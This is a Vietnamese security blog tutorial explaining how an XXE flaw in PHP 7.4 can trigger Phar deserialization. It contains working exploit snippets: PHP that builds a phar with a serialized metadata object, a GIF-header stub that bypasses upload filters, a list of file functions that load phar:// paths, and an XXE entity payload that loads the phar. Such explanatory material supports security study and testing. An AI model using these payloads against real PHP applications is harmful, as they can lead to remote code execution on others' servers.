Từ XXE Attack đến Phar Deserialization trong PHP 7.4

Mình tình cờ đọc được bài Out of Hand :: Attacks Against PHP Environments - phân tích những điểm đáng chú ý về bảo mật của PHP 7.4. Trong bài có đoạn viết về cách tận dụng lỗi XXE để kích hoạt Phar Deserialization. Mình sẽ trình bày lại theo cách hiểu của mình.

1. Điều kiện khai thác lỗi

  • Tồn tại lỗi XXE (libxml_disable_entity_loader=False)
  • phar.readonly phải được disable (mặc định trong php là enable).

2. Phar Deserialize

Một cách tóm lược, Phar - PHP Archive là một dạng nén ứng dụng php vào 1 file thực thi duy nhất. Nó có thể được load thông qua wrapper phar://. Kỹ thuật Phar Deserialization là việc tận dụng unserialize phần Metadata trong Phar Manifest Format file để kích hoạt POP chains (cách hiện thực unserialize của Phar wrapper không phải trực tiếp thông qua unserialize() nên giữa chúng có đôi chút khác nhau). Tùy thuộc vào cách vận dụng mà việc deserialize có thể dẫn đến RCE.
Screenshot-from-2020-10-03-14-50-08

Minh họa kịch bản tấn công Phar Deserialize:

  1. Attacker tạo file phar.phar để upload lên server
    <?php $phar= new Phar('phar.phar'); // Khởi tạo phar
    $phar->startBuffering();
    $phar->addFromString('phar.txt', '<valid>test</valid>'); // Thêm file data vào phar
    $phar->setStub('<?php __HALT_COMPILER(); ? >'); // Thiết lập STUB cho phar
    class AnyClass{}
    $object = new AnyClass; // Khởi tạo đối tượng POP chains
    $object->data = "pwned!"; // Truyền data
    $phar->setMetadata($object); // Thiết lập Metadata cho phar, đối tượng sẽ được lưu dưới dạng serialized trong phar
    $phar->stopBuffering();
    
  2. Server gọi một hàm file operations, ví dụ file_exist(), thì sẽ kích hoạt deserialize bên trong Metadata
    <?php
    libxml_disable_entity_loader(False);
    // Class được tận dụng để khai thác POP chains
    class AnyClass{
        function __destruct() {
            die($this->data);
        }
    }
    file_exists('phar://.//phar.phar/test.txt'); // Load file phar
    </code></pre>
    </li>
    </ol>
    <ul>
    <li>Ở <strong>(1)</strong>, để thực hiện kỹ thuật này nay, cần phải đưa file phar lên phía server trước. Có thể thông qua tính năng upload file, ảnh,... Điểm cộng là <code>phar://</code> xử lý file không phụ thuộc vào phần mở rộng, và phần đầu format file phar là vùng <strong>STUB</strong> có thể được chỉnh sửa thành signature của file ảnh để bypass MIME và file extension restriction:<pre><code class="language-php">$phar = new Phar("phar.gif");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
    ...
    rename('phar.phar','phar.gif');
    
  3. (2), có rất nhiều hàm file operation có thể tận dụng wrapper phar://. Dưới đây là một số gợi ý:
    include('phar://phar.phar/test.txt');
    file_get_contents('phar://phar.phar/test.txt');
    file_put_contents('phar://phar.phar/test.txt', '');
    copy('phar://phar.phar/test.txt', '');
    file_exists('phar://phar.phar/test.txt');
    is_executable('phar://phar.phar/test.txt');
    is_file('phar://phar.phar/test.txt');
    is_dir('phar://phar.phar/test.txt');
    is_link('phar://phar.phar/test.txt');
    is_writable('phar://phar.phar/test.txt');
    fileperms('phar://phar.phar/test.txt');
    fileinode('phar://phar.phar/test.txt');
    filesize('phar://phar.phar/test.txt');
    fileowner('phar://phar.phar/test.txt');
    filegroup('phar://phar.phar/test.txt');
    fileatime('phar://phar.phar/test.txt');
    filemtime('phar://phar.phar/test.txt');
    filectime('phar://phar.phar/test.txt');
    filetype('phar://phar.phar/test.txt');
    getimagesize('phar://phar.phar/test.txt');
    exif_read_data('phar://phar.phar/test.txt');
    stat('phar://phar.phar/test.txt');
    lstat('phar://phar.phar/test.txt');
    touch('phar://phar.phar/test.txt');
    md5_file('phar://phar.phar/test.txt');
    gzfile('phar://phar.phar/test.txt');
    gzopen('phar://phar.phar/test.txt','r');
    readgzfile('phar://phar.phar/test.txt');
    pg_trace('phar://phar.phar/test.txt');
    ftp_get('phar://phar.phar/test.txt');
    ftp_get($conn_id, 'phar://phar.phar/test.txt', $server_file);
    ftp_nb_get($my_connection, 'phar://phar.phar/test.txt', "whatever", FTP_BINARY);
    error_log('phar://phar.phar/test.txt');
    
  4. Nhiều phết :v.

    Như vậy, chỉ cần phar.readonly=0 và attacker kiểm soát file path của một trong những hàm trên thì có thể thực hiện Phar Deserialization.

    3. XXE Trigger Phar Deserialization

    Tuy nhiên, không phải lúc nào chúng ta cũng có thể kiểm soát được file path trong các hàm trên. Việc tìm ra càng nhiều vector load phar:// wrapper khác nhau, sẽ càng giúp tăng khả năng khai thác thành công. Giả sử chúng ta phát hiện 1 vector tấn công XXE trên server, không có expect:// wrapper để RCE, không có service nào để tận dụng SSRF, thì lúc này việc có thể kích hoạt Deserializeation sẽ tăng rất nhiều cơ hội để leo thang impact.

    Với cùng kịch bản tấn công ở phần 2, nhưng thay vì kiểm soát được input của file_exists, mà server lại tồn tại lỗi XXE, thì attacker vẫn có thể tấn công Phar Deserialzation thông qua libxml:

    $xml = '<!DOCTYPE r [<!ELEMENT r ANY><!ENTITY sp SYSTEM "phar://phar.gif/test.txt"> ]><r>&amp;sp;</r>';
    $test = new SimpleXMLElement($xml, LIBXML_NOENT, 0);
    // Hoặc
    simplexml_load_string($xml, LIBXML_NOENT);
    // Hoặc
    $dom = new DOMDocument();
    $dom->loadXML($xml,LIBXML_NOENT);
    
    xmlParserInputBufferCreateFilenameDefault(php_libxml_input_buffer_create_filename);
    ...
    php_libxml_input_buffer_create_filename(const char *URI, xmlCharEncoding enc);
    ...
    {
        ...
    	if (LIBXML(entity_loader_disabled)) {
    		return NULL;
    	}
        ...
        context = php_libxml_streams_IO_open_read_wrapper(URI);
    

    là lý do vì sao cần libxml_disable_entity_loader=False. Vì trình độ pwn ~= 0 nên mình cũng không đào sâu hơn cách libxml thực thi nữa, mà chỉ trình bày ở mức vận dụng là chính.

    Rõ ràng việc thực thi được deserialize sẽ dễ dẫn đến những impact cao hơn. Có thể vận dụng các Gadget Chains đã được tìm thấy trước đó trong các framework như Laravel, Wordpress, CodeIgniter, ... (PHPGGC hỗ trợ rất tốt cho việc này). Hoặc tự mình tìm một Gadget Chain mới luôn thì càng tuyệt vời! :d.

    Kết luận

    Như vậy, mình vừa trình bày lại kỹ thuật Phar Deserialization với nhiều vector khác nhau, và một vector tấn công thông qua XXE. Đây sẽ là một hướng exploit đáng để thử khi tìm được lỗ hổng XXE trên hệ thống.

    References

DoubleVKay
DoubleVKay
Web Pentester

Web Pentester

Next
Previous

Related